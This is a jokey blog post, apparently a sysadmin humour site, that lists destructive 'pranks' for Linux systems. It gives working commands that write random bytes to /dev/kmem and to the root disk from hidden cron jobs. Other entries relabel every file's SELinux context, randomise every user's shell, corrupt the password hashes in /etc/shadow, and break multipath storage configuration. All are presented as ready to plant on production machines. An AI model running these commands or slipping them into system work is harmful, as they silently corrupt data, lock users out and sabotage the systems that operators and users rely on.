Breaking Systems For Fun And Profit

Kernel Roulette

Another one from the archives, this one was sent in by DIVI.

Hide this one in /etc/cron.hourly or /etc/cron.daily, depending on your level of masochism:

#!/bin/bash
dd if=/dev/random of=/dev/kmem count=1 bs=1 seek=${RANDOM} conv=notrunc

Providing Context

Run the following snippet on a production machine. Don’t worry if it errors out halfway through:

1
2
3
4
TYPES=($(seinfo -t | tail -n+3))
for FILE in $(find -depth /); do
  chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} ]]} ${FILE}
done &> /dev/null

Promoting Diversity

Add this one as /etc/cron.daily/diversity to give your users the diversity they so rightly deserve.

1
2
3
4
5
#!/bin/bash
for I in $(getent passwd | cut -d: -f1 )
do
  chsh -s $(sort -R /etc/shells | head -n1) ${I}
done

Accelerated Bitrot

Create the following file as /etc/cron.hourly/bitrot

1
2
3
4
5
#!/bin/bash
ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc

Six to Five

Another one from the old site, this one was submitted by Ed van der Salm

  sed -i 's/:$6/:$5/g' /etc/shadow

Multipath Madness

This is one guaranteed to cause some great storage shenanigans on systems from the RHEL6 era. Add the following line inside the defaults section and all device sections in /etc/multipath.conf:

  getuid_callout  "echo one-size-fits-none"

We're Back!

After seven months of being offline Breaking Systems For Fun and Profit™ has returned! Over the coming weeks we will be re-uploading the best of the old content.

Continue reading to find out about all the gory details.